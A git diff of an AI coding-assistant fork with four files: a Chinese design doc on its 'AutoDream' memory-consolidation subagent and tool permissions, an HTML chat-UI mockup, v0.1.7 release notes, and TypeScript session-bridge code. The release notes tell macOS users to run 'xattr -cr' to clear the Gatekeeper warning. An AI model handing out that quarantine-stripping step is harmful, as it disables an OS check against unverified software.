+不要穷尽读取转录文件。只查找你已经怀疑重要的内容。
+```
+
+### Phase 3 — Consolidate（整合）
+
+- **合并**新信号到已有主题文件（而非创建新的近似文件）
+- **转换**相对日期为绝对日期（"昨天" → "2026-04-03"）
+- **删除**被推翻的旧事实
+
+### Phase 4 — Prune and index（修剪与索引）
+
+- 更新 `MEMORY.md`，保持 ≤ 规定行数且 ≤ 25KB
+- 删除指向过时记忆的指针
+- 压缩冗长条目（>200 字符的索引行，将内容移入主题文件）
+- 新增指向重要记忆的指针
+- 解决矛盾（两个文件意见不一致时，修复错误的那个）
+
+**关键源码** `src/services/autoDream/consolidationPrompt.ts:10-64`
+
+---
+
+## 四、安全限制
+
+AutoDream 子智能体受到严格的工具权限限制：
+
+### Bash 仅限只读
+
+```
+允许：ls, find, grep, cat, stat, wc, head, tail
+拒绝：所有写入、重定向、修改状态的命令
+```
+
+### 文件操作仅限记忆目录
+
+`createAutoMemCanUseTool()` 是 `extractMemories` 和 `autoDream` 共享的权限函数：
+
+```
+允许 Read / Grep / Glob — 无限制
+允许 Edit / Write — 仅 auto-memory 目录内
+拒绝 MCP / Agent / 非只读 Bash / 其他写操作
+```
+
+**关键源码** `src/services/extractMemories/extractMemories.ts:167-171`
+
+### 锁文件机制
+
+使用 `.consolidate-lock` 文件实现进程级互斥：
+
+| 机制 | 说明 |
+|------|------|
+| **锁内容** | 持有者 PID |
+| **时间戳** | 锁文件 mtime = 上次整合时间 |
+| **过期** | 持有超过 1 小时视为过期（防 PID 复用） |
+| **竞争** | 两个进程同时写入 → 最后写入者获胜，失败者在 re-read 时退出 |
+| **回滚** | 失败时回退 mtime 到获取前的值，让下次尝试不受影响 |
+| **崩溃恢复** | mtime 卡住 + 死 PID → 下个进程回收锁 |
+
+**关键源码** `src/services/autoDream/consolidationLock.ts`
+
+---
+
+## 五、UI 展示
+
+### 底部状态栏
+
+当 AutoDream 运行时，底部状态栏会显示 **"dreaming"** 标签：
+
+```typescript
+// src/tasks/pillLabel.ts:61-62
+case 'dream':
+  return 'dreaming'
+```
+
+### 任务详情对话框
+
+用户按 `Shift+Down` 可打开后台任务对话框，查看梦境的实时进度：
+
+- **DreamDetailDialog** 组件展示：
+  - 正在回顾的会话数量
+  - 当前阶段：`starting`（正在分析）→ `updating`（正在修改记忆文件）
+  - 最近的助手文本响应和工具调用次数
+  - 已触碰的文件路径列表
+
+- **用户可按 `x` 键终止**正在进行的梦境（触发 abort + 锁回滚）
+
+### 完成通知
+
+梦境完成后，如果有文件被修改，会在主会话中显示内联通知：
+
+```typescript
+appendSystemMessage({
+  ...createMemorySavedMessage(dreamState.filesTouched),
+  verb: 'Improved',
+})
+```
+
+**关键源码**：
+- `src/tasks/DreamTask/DreamTask.ts` — 任务状态管理
+- `src/components/tasks/DreamDetailDialog.tsx` — UI 组件
+
+---
+
+## 六、配置与开关
+
+### settings.json
+
+```json
+{
+  "autoDreamEnabled": true
+}
+```
+
+- **显式设置时**：直接使用用户的值
+- **未设置时**：由远程 GrowthBook feature flag `tengu_onyx_plover` 控制
+
+**关键源码** `src/services/autoDream/config.ts:13-21`：
+
+```typescript
+export function isAutoDreamEnabled(): boolean {
+  const setting = getInitialSettings().autoDreamEnabled
+  if (setting !== undefined) return setting
+  const gb = getFeatureValue_CACHED_MAY_BE_STALE<{ enabled?: unknown } | null>(
+    'tengu_onyx_plover', null,
+  )
+  return gb?.enabled === true
+}
+```
+
+### 远程配置参数
+
+`tengu_onyx_plover` feature flag 可配置：
+
+| 参数 | 类型 | 默认值 | 说明 |
+|------|------|--------|------|
+| `enabled` | boolean | — | 功能总开关 |
+| `minHours` | number | 24 | 最小间隔（小时） |
+| `minSessions` | number | 5 | 最小会话数 |
+
+### 手动触发 `/dream`
+
+除了自动触发，用户可以通过 `/dream` 命令手动触发记忆整合。手动触发会调用 `recordConsolidation()` 更新锁文件时间戳。
+
+---
+
+## 七、与 extractMemories 的关系
+
+| 维度 | extractMemories | autoDream |
+|------|----------------|-----------|
+| **触发频率** | 每次对话回合结束 | 每 24h + 5 个会话 |
+| **触发位置** | `stopHooks.ts` L149 | `stopHooks.ts` L155 |
+| **处理范围** | 当前对话最近的消息 | 多个会话的历史记录 |
+| **目标** | 提取新记忆 | 整合/去重/修剪已有记忆 |
+| **人类类比** | 白天随手记笔记 | 睡觉时整理笔记本 |
+| **共享组件** | `createAutoMemCanUseTool` | `createAutoMemCanUseTool` |
+| **分叉代理** | 最多 5 turns | 无 turn 限制 |
+| **转录** | 不记录（`skipTranscript`） | 不记录（`skipTranscript`） |
+
+### 协作流
+
+```
+每次对话结束
+    ↓
+extractMemories → 提取新记忆片段 → 写入 *.md + MEMORY.md
+    ↓
+（积累 24h + 5个会话后）
+    ↓
+autoDream → 回顾所有记忆 + 会话记录
+    ↓
+合并重复 / 修正过时 / 删除矛盾 / 压缩索引
+    ↓
+MEMORY.md 和主题文件焕然一新
+```
+
+---
+
+## 八、源码导航
+
+| 文件 | 职责 |
+|------|------|
+| `src/services/autoDream/autoDream.ts` | 主逻辑：门控检查、启动分叉代理、进度监控 |
+| `src/services/autoDream/config.ts` | 开关控制：settings.json 或 GrowthBook |
+| `src/services/autoDream/consolidationPrompt.ts` | 梦境提示词：4 阶段整合工作流 |
+| `src/services/autoDream/consolidationLock.ts` | 锁文件机制：防并发、时间戳、回滚 |
+| `src/tasks/DreamTask/DreamTask.ts` | UI 任务注册：状态管理、终止、回滚 |
+| `src/tasks/pillLabel.ts` | 底部状态栏标签："dreaming" |
+| `src/components/tasks/DreamDetailDialog.tsx` | 梦境详情对话框 UI |
+| `src/query/stopHooks.ts` | 执行入口：每次回复后触发 |
+| `src/utils/backgroundHousekeeping.ts` | 初始化入口：`initAutoDream()` |
+| `src/services/extractMemories/extractMemories.ts` | 共享的 `createAutoMemCanUseTool` |
+
+---
+
+## 九、分析事件
+
+AutoDream 通过以下事件记录运行状态：
+
+| 事件 | 时机 | 附带数据 |
+|------|------|----------|
+| `tengu_auto_dream_fired` | 梦境启动 | `hours_since`, `sessions_since` |
+| `tengu_auto_dream_completed` | 梦境完成 | `cache_read`, `cache_created`, `output`, `sessions_reviewed` |
+| `tengu_auto_dream_failed` | 梦境失败 | — |
diff --git a/_all-in-one-upload/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/active_session/code.html b/_all-in-one-upload/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/active_session/code.html
new file mode 100644
index 0000000..61c5619
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/active_session/code.html
@@ -0,0 +1,288 @@
+<!DOCTYPE html>
+
+<html class="light" lang="en"><head>
+<meta charset="utf-8"/>
+<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
+<script src="https://cdn.tailwindcss.com?plugins=forms,container-queries"></script>
+<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;600;700;800&amp;family=Inter:wght@400;500;600&amp;family=JetBrains+Mono&amp;display=swap" rel="stylesheet"/>
+<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&amp;display=swap" rel="stylesheet"/>
+<link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:wght,FILL@100..700,0..1&amp;display=swap" rel="stylesheet"/>
+<script id="tailwind-config">
+        tailwind.config = {
+            darkMode: "class",
+            theme: {
+                extend: {
+                    "colors": {
+                        "primary-fixed": "#ffdbd0",
+                        "on-secondary-fixed-variant": "#094a76",
+                        "on-primary": "#ffffff",
+                        "on-surface": "#1b1c1a",
+                        "error": "#ba1a1a",
+                        "inverse-on-surface": "#f2f1ed",
+                        "surface-container-lowest": "#ffffff",
+                        "tertiary-fixed": "#d4eab4",
+                        "secondary-container": "#9acbfe",
+                        "on-tertiary": "#ffffff",
+                        "primary-fixed-dim": "#ffb59d",
+                        "secondary-fixed": "#cfe5ff",
+                        "surface-container-low": "#f4f4f0",
+                        "tertiary": "#4f6237",
+                        "surface-dim": "#dbdad6",
+                        "outline-variant": "#dac1ba",
+                        "on-primary-fixed-variant": "#75331c",
+                        "tertiary-container": "#677b4e",
+                        "surface-container": "#efeeea",
+                        "surface-variant": "#e3e2df",
+                        "error-container": "#ffdad6",
+                        "on-primary-container": "#fffbff",
+                        "inverse-primary": "#ffb59d",
+                        "on-error": "#ffffff",
+                        "tertiary-fixed-dim": "#b8ce99",
+                        "background": "#faf9f5",
+                        "on-primary-fixed": "#390c00",
+                        "on-secondary": "#ffffff",
+                        "surface-tint": "#924a31",
+                        "inverse-surface": "#2f312e",
+                        "on-secondary-fixed": "#001d34",
+                        "primary-container": "#ad5f45",
+                        "on-surface-variant": "#54433e",
+                        "surface-container-high": "#e9e8e4",
+                        "surface": "#faf9f5",
+                        "on-tertiary-container": "#faffea",
+                        "primary": "#8f482f",
+                        "on-tertiary-fixed": "#102000",
+                        "surface-container-highest": "#e3e2df",
+                        "secondary": "#2d628f",
+                        "on-background": "#1b1c1a",
+                        "on-secondary-container": "#1e5683",
+                        "outline": "#87736d",
+                        "surface-bright": "#faf9f5",
+                        "on-tertiary-fixed-variant": "#3b4c24",
+                        "secondary-fixed-dim": "#9acbfe",
+                        "on-error-container": "#93000a"
+                    },
+                    "borderRadius": {
+                        "DEFAULT": "0.25rem",
+                        "lg": "0.875rem",
+                        "xl": "1rem",
+                        "full": "9999px"
+                    },
+                    "fontFamily": {
+                        "headline": ["Manrope"],
+                        "body": ["Inter"],
+                        "label": ["Inter"],
+                        "mono": ["JetBrains Mono"]
+                    }
+                },
+            },
+        }
+    </script>
+<style>
+        .material-symbols-outlined {
+            font-variation-settings: 'FILL' 0, 'wght' 400, 'GRAD' 0, 'opsz' 24;
+        }
+        body { font-family: 'Inter', sans-serif; }
+        .font-headline { font-family: 'Manrope', sans-serif; }
+        .font-mono { font-family: 'JetBrains Mono', monospace; }
+        ::-webkit-scrollbar { width: 6px; }
+        ::-webkit-scrollbar-track { background: transparent; }
+        ::-webkit-scrollbar-thumb { background: #dac1ba; border-radius: 10px; }
+    </style>
+</head>
+<body class="bg-background text-on-surface selection:bg-primary-fixed">
+<!-- Sidebar Navigation -->
+<aside class="fixed left-0 top-0 h-full w-[280px] bg-surface-container-low flex flex-col p-4 gap-2 z-40 hidden md:flex">
+<div class="flex items-center gap-3 px-2 mb-6">
+<div class="w-8 h-8 rounded bg-primary flex items-center justify-center text-on-primary">
+<span class="material-symbols-outlined text-sm">code_blocks</span>
+</div>
+<div>
+<div class="text-sm font-bold text-on-surface font-headline leading-tight">All projects</div>
+<div class="text-[11px] text-outline font-medium">Active Session</div>
+</div>
+</div>
+<button class="w-full py-2.5 px-4 mb-4 bg-surface-container-lowest border border-outline-variant/30 rounded-lg text-left text-sm text-outline flex items-center gap-2 hover:bg-white transition-all">
+<span class="material-symbols-outlined text-sm">search</span>
+<span>Search sessions</span>
+</button>
+<nav class="flex-1 space-y-1">
+<div class="px-2 py-1 text-[10px] uppercase tracking-widest text-outline/60 font-bold mb-1">Navigation</div>
+<a class="flex items-center gap-3 px-3 py-2 text-sm font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">add</span>
+                New session
+            </a>
+<a class="flex items-center gap-3 px-3 py-2 text-sm font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">calendar_today</span>
+                Scheduled
+            </a>
+<a class="flex items-center gap-3 px-3 py-2 text-sm font-medium bg-surface-container-lowest text-on-surface rounded-lg relative before:content-[''] before:absolute before:left-[-8px] before:w-1 before:h-4 before:bg-primary before:rounded-full" href="#">
+<span class="material-symbols-outlined text-lg">history</span>
+                Today
+            </a>
+<a class="flex items-center gap-3 px-3 py-2 text-sm font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">event_note</span>
+                Previous 7 Days
+            </a>
+<a class="flex items-center gap-3 px-3 py-2 text-sm font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">archive</span>
+                Older
+            </a>
+</nav>
+<div class="mt-auto pt-4 border-t border-outline-variant/20 space-y-1">
+<a class="flex items-center gap-3 px-3 py-2 text-xs font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">computer</span>
+                Local Mode
+            </a>
+<a class="flex items-center gap-3 px-3 py-2 text-xs font-medium text-outline hover:bg-surface-container-high transition-all rounded-lg" href="#">
+<span class="material-symbols-outlined text-lg">cloud</span>
+                Remote Mode
+            </a>
+</div>
+</aside>
+<!-- Main Content Canvas -->
+<main class="md:ml-[280px] min-h-screen flex flex-col relative">
+<!-- Top App Bar -->
+<header class="sticky top-0 z-30 bg-background/80 backdrop-blur-md flex justify-between items-center px-6 h-12 w-full">
+<div class="flex items-center gap-6">
+<span class="text-sm font-bold text-on-surface uppercase tracking-tighter font-headline">Claude Code Companion</span>
+<nav class="hidden lg:flex items-center gap-4">
+<a class="text-sm font-semibold text-outline hover:text-primary transition-colors" href="#">Code</a>
+<a class="text-sm font-semibold text-on-surface border-b-2 border-primary pb-1" href="#">Terminal</a>
+<a class="text-sm font-semibold text-outline hover:text-primary transition-colors" href="#">History</a>
+</nav>
+</div>
+<div class="flex items-center gap-3">
+<div class="flex items-center gap-1">
+<button class="p-1 text-outline hover:text-primary active:opacity-70 transition-colors">
+<span class="material-symbols-outlined text-lg">arrow_back_ios</span>
+</button>
+<button class="p-1 text-outline hover:text-primary active:opacity-70 transition-colors">
+<span class="material-symbols-outlined text-lg">arrow_forward_ios</span>
+</button>
+</div>
+<button class="text-sm font-semibold text-outline hover:text-primary px-2 transition-colors">Settings</button>
+</div>
+</header>
+<!-- Divider Line -->
+<div class="bg-surface-container h-[1px] w-full"></div>
+<!-- Editor Toolbar / Title Area -->
+<div class="px-8 py-6 flex justify-between items-center max-w-4xl mx-auto w-full">
+<div class="flex-1">
+<input class="bg-transparent border-none focus:ring-0 text-2xl font-bold font-headline text-on-surface w-full p-0 leading-tight" type="text" value="Refactor login flow"/>
+<div class="text-xs text-outline font-medium mt-1">session-active-042 • last updated 2m ago</div>
+</div>
+<button class="flex items-center gap-2 px-4 py-2 bg-surface-container-high hover:bg-surface-container-highest text-on-surface font-semibold text-sm rounded-lg transition-colors">
+<span class="material-symbols-outlined text-sm">visibility</span>
+                Preview
+            </button>
+</div>
+<!-- Conversation Stream -->
+<div class="flex-1 px-8 pb-40 max-w-4xl mx-auto w-full space-y-10">
+<!-- User Bubble -->
+<div class="flex justify-end">
+<div class="max-w-[85%] bg-surface-container px-5 py-4 rounded-2xl rounded-tr-none shadow-sm">
+<p class="text-sm leading-relaxed text-on-surface-variant font-medium">
+                        I need to refactor the login flow in <code class="font-mono bg-surface-container-highest px-1 rounded">auth.ts</code>. Let's move the JWT signing logic to a separate helper and add validation for the user payload.
+                    </p>
+</div>
+</div>
+<!-- Assistant Response -->
+<div class="flex gap-4">
+<div class="w-8 h-8 shrink-0 rounded-full bg-primary flex items-center justify-center text-on-primary">
+<span class="material-symbols-outlined text-sm" style="font-variation-settings: 'FILL' 1;">smart_toy</span>
+</div>
+<div class="flex-1 space-y-6">
+<div class="prose prose-sm text-on-surface leading-relaxed max-w-none">
+<p class="text-sm">Understood. I will begin by analyzing the current implementation of <code class="font-mono text-secondary">auth.ts</code>. I'll extract the JWT logic into a new utility function and implement the validation layer as requested.</p>
+</div>
+<!-- Collapsed Thinking Block -->
+<div class="bg-surface-container-low border border-outline-variant/20 rounded-xl overflow-hidden">
+<button class="w-full px-4 py-2.5 flex items-center justify-between text-xs font-semibold text-outline hover:bg-surface-container-high transition-colors">
+<div class="flex items-center gap-2">
+<span class="material-symbols-outlined text-sm">psychology</span>
+<span>Thinking Process</span>
+</div>
+<span class="material-symbols-outlined text-sm">expand_more</span>
+</button>
+</div>
+<!-- Tool Use Block -->
+<div class="bg-surface-dim rounded-xl p-4 space-y-3">
+<div class="flex items-center justify-between">
+<div class="flex items-center gap-2">
+<span class="material-symbols-outlined text-secondary text-base">edit_document</span>
+<span class="text-xs font-mono font-bold text-on-surface">edit_file: auth.ts</span>
+</div>
+<span class="text-[10px] text-outline font-bold uppercase tracking-widest">Modified</span>
+</div>
+<div class="bg-surface-container-lowest/50 rounded-lg p-3 font-mono text-xs text-on-surface-variant border border-outline-variant/10">
+<span class="text-tertiary">+ const validatePayload = (user) =&gt; { ... }</span><br/>
+<span class="text-tertiary">+ export const signToken = (payload) =&gt; jwt.sign(payload, SECRET);</span><br/>
+<span class="opacity-50">- // OLD LOGIC REMOVED</span>
+</div>
+</div>
+<!-- Crafting Status Bar (Internal to Stream) -->
+<div class="flex items-center justify-between bg-surface-container-lowest border border-primary/20 rounded-full px-4 py-2 shadow-sm">
+<div class="flex items-center gap-3">
+<div class="w-2 h-2 bg-primary rounded-full animate-pulse"></div>
+<span class="text-xs font-bold font-headline text-primary">Crafting...</span>
+<span class="w-[1px] h-3 bg-outline-variant/50"></span>
+<span class="text-xs font-mono text-outline">00:42</span>
+<span class="text-xs font-mono text-outline/60">1.2k tokens</span>
+</div>
+<button class="flex items-center gap-1.5 px-3 py-1 bg-error-container text-on-error-container text-[10px] font-bold rounded-full hover:bg-error/10 transition-colors">
+<span class="material-symbols-outlined text-xs">stop</span>
+                            Stop
+                        </button>
+</div>
+</div>
+</div>
+</div>
+<!-- Chat Composer (Floating Bottom) -->
+<div class="fixed bottom-8 left-1/2 -translate-x-1/2 md:left-[calc(50%+140px)] w-full max-w-2xl px-6 z-40">
+<div class="bg-surface-container-lowest/85 backdrop-blur-xl border border-outline-variant/15 rounded-2xl shadow-lg p-3">
+<div class="relative flex items-end gap-3">
+<button class="p-2 text-outline hover:text-primary transition-colors">
+<span class="material-symbols-outlined">attach_file</span>
+</button>
+<textarea class="w-full bg-transparent border-none focus:ring-0 resize-none py-2 text-sm text-on-surface placeholder:text-outline/50 min-h-[44px] max-h-48" placeholder="Ask Claude to edit, debug or explain..." rows="1"></textarea>
+<button class="w-10 h-10 rounded-xl bg-primary text-on-primary flex items-center justify-center hover:shadow-md transition-all active:scale-95">
+<span class="material-symbols-outlined">arrow_upward</span>
+</button>
+</div>
+<div class="flex items-center gap-4 px-2 mt-2">
+<button class="flex items-center gap-1.5 text-[10px] font-bold text-outline uppercase tracking-wider hover:text-primary transition-colors">
+<span class="material-symbols-outlined text-sm">terminal</span>
+                        Terminal
+                    </button>
+<button class="flex items-center gap-1.5 text-[10px] font-bold text-outline uppercase tracking-wider hover:text-primary transition-colors">
+<span class="material-symbols-outlined text-sm">image</span>
+                        Add Vision
+                    </button>
+<div class="ml-auto flex items-center gap-2">
+<span class="text-[10px] text-outline/50 font-medium">Claude 3.5 Sonnet</span>
+</div>
+</div>
+</div>
+</div>
+<!-- Global Footer Bar -->
+<footer class="fixed bottom-0 left-0 w-full h-8 bg-background border-t border-outline-variant/20 flex items-center justify-between px-4 z-50">
+<div class="flex items-center gap-4">
+<span class="text-[10px] font-medium text-outline uppercase tracking-tighter">User Avatar • username • Pro Plan</span>
+</div>
+<div class="flex items-center gap-4">
+<button class="flex items-center gap-1 text-[10px] text-outline hover:text-primary transition-colors">
+<span class="material-symbols-outlined text-xs">account_tree</span>
+                    main-branch
+                </button>
+<button class="flex items-center gap-1 text-[10px] text-outline hover:text-primary transition-colors">
+<span class="material-symbols-outlined text-xs">layers</span>
+                    worktree-toggle
+                </button>
+<button class="flex items-center gap-1 text-[10px] text-primary font-bold transition-colors">
+<span class="material-symbols-outlined text-xs">sync_alt</span>
+                    local-switch
+                </button>
+</div>
+</footer>
+</main>
+</body></html>
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/release-notes/v0.1.7.md b/_all-in-one-upload/cc-haha/release-notes/v0.1.7.md
new file mode 100644
index 0000000..4666c10
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/release-notes/v0.1.7.md
@@ -0,0 +1,35 @@
+# Claude Code Haha v0.1.7
+
+这是一个以 Windows 桌面端在线更新稳定性和聊天展示体验修复为主的补丁版本。
+
+相比 `v0.1.6`，这次重点修复了 Windows 桌面端自动更新后本地服务启动失败的问题，并补齐了 Windows 开发环境 WebUI 启动 CLI 时的宏预加载逻辑。同时修复了 Mermaid 渲染错误提示和聊天手动滚动被打断的问题。
+
+## 主要更新
+
+- 修复 Windows 桌面端在线自动更新流程：安装新版本前会先停止本地 server sidecar 和 adapter sidecar，避免升级后重启时出现 `os error 32`、`另一个程序正在使用此文件` 或“本地服务启动失败”。
+- Windows 发布产物改为优先使用 NSIS 安装包，并在安装器 hook 中处理 sidecar 进程清理，降低从旧版本自动升级时被文件锁卡住的概率。
+- 修复 Windows 开发环境中 WebUI 启动 CLI 失败的问题，源码 fallback 启动 CLI 时会正确加载 `preload.ts`，避免 `MACRO is not defined` 导致进程启动失败。
+- 优化聊天列表手动滚动体验：用户向上查看历史消息时，流式输出不会强制把视图拉回底部；当用户仍停留在底部附近时，会继续保持自动跟随最新回复。
+
+## 问题修复
+
+- 修复 Mermaid 图表渲染失败时可能出现开发错误覆盖层的问题，让错误状态保持在聊天消息内部展示。
+- 修复聊天流式输出期间手动滚动位置被覆盖的问题，并补充相关回归测试。
+- 修复 Windows updater 安装阶段没有提前释放 sidecar 文件句柄的问题。
+- 修复 Windows dev WebUI 会话启动时 CLI 进程直接以 code 1 退出的问题。
+
+## 其他说明
+
+- 已安装 `v0.1.5` 或 `v0.1.6` 的 Windows 用户正常情况下可以直接升级到 `v0.1.7`，不需要先卸载旧版本。
+- 如果某台机器已经卡在旧版本升级后的“本地服务启动失败”页面，可以先完全退出桌面端和残留的 `claude-sidecar.exe` 进程，再安装 `v0.1.7`。
+- GitHub Release 正文继续以 `release-notes/v0.1.7.md` 作为来源，发布时无需再手动复制 Markdown。
+
+## 安装说明
+
+### macOS
+
+首次打开如果提示“已损坏”或“无法验证开发者”，请执行：
+
+```bash
+xattr -cr /Applications/Claude\ Code\ Haha.app
+```
diff --git a/_all-in-one-upload/cc-haha/src/bridge/replBridgeHandle.ts b/_all-in-one-upload/cc-haha/src/bridge/replBridgeHandle.ts
new file mode 100644
index 0000000..f04d745
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/bridge/replBridgeHandle.ts
@@ -0,0 +1,36 @@
+import { updateSessionBridgeId } from '../utils/concurrentSessions.js'
+import type { ReplBridgeHandle } from './replBridge.js'
+import { toCompatSessionId } from './sessionIdCompat.js'
+
+/**
+ * Global pointer to the active REPL bridge handle, so callers outside
+ * useReplBridge's React tree (tools, slash commands) can invoke handle methods
+ * like subscribePR. Same one-bridge-per-process justification as bridgeDebug.ts
+ * — the handle's closure captures the sessionId and getAccessToken that created
+ * the session, and re-deriving those independently (BriefTool/upload.ts pattern)
+ * risks staging/prod token divergence.
+ *
+ * Set from useReplBridge.tsx when init completes; cleared on teardown.
+ */
+
+let handle: ReplBridgeHandle | null = null
+
+export function setReplBridgeHandle(h: ReplBridgeHandle | null): void {
+  handle = h
+  // Publish (or clear) our bridge session ID in the session record so other
+  // local peers can dedup us out of their bridge list — local is preferred.
+  void updateSessionBridgeId(getSelfBridgeCompatId() ?? null).catch(() => {})
+}
+
+export function getReplBridgeHandle(): ReplBridgeHandle | null {
+  return handle
+}
+
+/**
+ * Our own bridge session ID in the session_* compat format the API returns
+ * in /v1/sessions responses — or undefined if bridge isn't connected.
+ */
+export function getSelfBridgeCompatId(): string | undefined {
+  const h = getReplBridgeHandle()
+  return h ? toCompatSessionId(h.bridgeSessionId) : undefined
+}
diff --git a/_all-in-one-upload/cc-haha/src/bridge/sessionRunner.ts b/_all-in-one-upload/cc-haha/src/bridge/sessionRunner.ts
new file mode 100644
index 0000000..bc232bc
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/bridge/sessionRunner.ts
@@ -0,0 +1,550 @@
+import { type ChildProcess, spawn } from 'child_process'
+import { createWriteStream, type WriteStream } from 'fs'
+import { tmpdir } from 'os'
+import { dirname, join } from 'path'
+import { createInterface } from 'readline'
+import { jsonParse, jsonStringify } from '../utils/slowOperations.js'
+import { debugTruncate } from './debugUtils.js'
+import type {
+  SessionActivity,
+  SessionDoneStatus,
+  SessionHandle,
+  SessionSpawner,
+  SessionSpawnOpts,
+} from './types.js'
+
+const MAX_ACTIVITIES = 10
+const MAX_STDERR_LINES = 10
+
+/**
+ * Sanitize a session ID for use in file names.
+ * Strips any characters that could cause path traversal (e.g. `../`, `/`)
+ * or other filesystem issues, replacing them with underscores.
+ */
+export function safeFilenameId(id: string): string {
+  return id.replace(/[^a-zA-Z0-9_-]/g, '_')
+}
+
+/**
+ * A control_request emitted by the child CLI when it needs permission to
+ * execute a **specific** tool invocation (not a general capability check).
+ * The bridge forwards this to the server so the user can approve/deny.
+ */
+export type PermissionRequest = {
+  type: 'control_request'
+  request_id: string
+  request: {
+    /** Per-invocation permission check — "may I run this tool with these inputs?" */
+    subtype: 'can_use_tool'
+    tool_name: string
+    input: Record<string, unknown>
+    tool_use_id: string
+  }
+}
+
+type SessionSpawnerDeps = {
+  execPath: string
+  /**
+   * Arguments that must precede the CLI flags when spawning. Empty for
+   * compiled binaries (where execPath is the claude binary itself); contains
+   * the script path (process.argv[1]) for npm installs where execPath is the
+   * node runtime. Without this, node sees --sdk-url as a node option and
+   * exits with "bad option: --sdk-url" (see anthropics/claude-code#28334).
+   */
+  scriptArgs: string[]
+  env: NodeJS.ProcessEnv
+  verbose: boolean
+  sandbox: boolean
+  debugFile?: string
+  permissionMode?: string
+  onDebug: (msg: string) => void
+  onActivity?: (sessionId: string, activity: SessionActivity) => void
+  onPermissionRequest?: (
+    sessionId: string,
+    request: PermissionRequest,
+    accessToken: string,
+  ) => void
+}
+
+/** Map tool names to human-readable verbs for the status display. */
+const TOOL_VERBS: Record<string, string> = {
+  Read: 'Reading',
+  Write: 'Writing',
+  Edit: 'Editing',
+  MultiEdit: 'Editing',
+  Bash: 'Running',
+  Glob: 'Searching',
+  Grep: 'Searching',
+  WebFetch: 'Fetching',
+  WebSearch: 'Searching',
+  Task: 'Running task',
+  FileReadTool: 'Reading',
+  FileWriteTool: 'Writing',
+  FileEditTool: 'Editing',
+  GlobTool: 'Searching',
+  GrepTool: 'Searching',
+  BashTool: 'Running',
+  NotebookEditTool: 'Editing notebook',
+  LSP: 'LSP',
+}
+
+function toolSummary(name: string, input: Record<string, unknown>): string {
+  const verb = TOOL_VERBS[name] ?? name
+  const target =
+    (input.file_path as string) ??
+    (input.filePath as string) ??
+    (input.pattern as string) ??
+    (input.command as string | undefined)?.slice(0, 60) ??
+    (input.url as string) ??
+    (input.query as string) ??
+    ''
+  if (target) {
+    return `${verb} ${target}`
+  }
+  return verb
+}
+
+function extractActivities(
+  line: string,
+  sessionId: string,
+  onDebug: (msg: string) => void,
+): SessionActivity[] {
+  let parsed: unknown
+  try {
+    parsed = jsonParse(line)
+  } catch {
+    return []
+  }
+
+  if (!parsed || typeof parsed !== 'object') {
+    return []
+  }
+
+  const msg = parsed as Record<string, unknown>
+  const activities: SessionActivity[] = []
+  const now = Date.now()
+
+  switch (msg.type) {
+    case 'assistant': {
+      const message = msg.message as Record<string, unknown> | undefined
+      if (!message) break
+      const content = message.content
+      if (!Array.isArray(content)) break
+
+      for (const block of content) {
+        if (!block || typeof block !== 'object') continue
+        const b = block as Record<string, unknown>
+
+        if (b.type === 'tool_use') {
+          const name = (b.name as string) ?? 'Tool'
+          const input = (b.input as Record<string, unknown>) ?? {}
+          const summary = toolSummary(name, input)
+          activities.push({
+            type: 'tool_start',
+            summary,
+            timestamp: now,
+          })
+          onDebug(
+            `[bridge:activity] sessionId=${sessionId} tool_use name=${name} ${inputPreview(input)}`,
+          )
+        } else if (b.type === 'text') {
+          const text = (b.text as string) ?? ''
+          if (text.length > 0) {
+            activities.push({
+              type: 'text',
+              summary: text.slice(0, 80),
+              timestamp: now,
+            })
+            onDebug(
+              `[bridge:activity] sessionId=${sessionId} text "${text.slice(0, 100)}"`,
+            )
+          }
+        }
+      }
+      break
+    }
+    case 'result': {
+      const subtype = msg.subtype as string | undefined
+      if (subtype === 'success') {
+        activities.push({
+          type: 'result',
+          summary: 'Session completed',
+          timestamp: now,
+        })
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=success`,
+        )
+      } else if (subtype) {
+        const errors = msg.errors as string[] | undefined
+        const errorSummary = errors?.[0] ?? `Error: ${subtype}`
+        activities.push({
+          type: 'error',
+          summary: errorSummary,
+          timestamp: now,
+        })
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=${subtype} error="${errorSummary}"`,
+        )
+      } else {
+        onDebug(
+          `[bridge:activity] sessionId=${sessionId} result subtype=undefined`,
+        )
+      }
+      break
+    }
+    default:
+      break
+  }
+
+  return activities
+}
+
+/**
+ * Extract plain text from a replayed SDKUserMessage NDJSON line. Returns the
+ * trimmed text if this looks like a real human-authored message, otherwise
+ * undefined so the caller keeps waiting for the first real message.
+ */
+function extractUserMessageText(
+  msg: Record<string, unknown>,
+): string | undefined {
+  // Skip tool-result user messages (wrapped subagent results) and synthetic
+  // caveat messages — neither is human-authored.
+  if (msg.parent_tool_use_id != null || msg.isSynthetic || msg.isReplay)
+    return undefined
+
+  const message = msg.message as Record<string, unknown> | undefined
+  const content = message?.content
+  let text: string | undefined
+  if (typeof content === 'string') {
+    text = content
+  } else if (Array.isArray(content)) {
+    for (const block of content) {
+      if (
+        block &&
+        typeof block === 'object' &&
+        (block as Record<string, unknown>).type === 'text'
+      ) {
+        text = (block as Record<string, unknown>).text as string | undefined
+        break
+      }
+    }
+  }
+  text = text?.trim()
+  return text ? text : undefined
+}
+
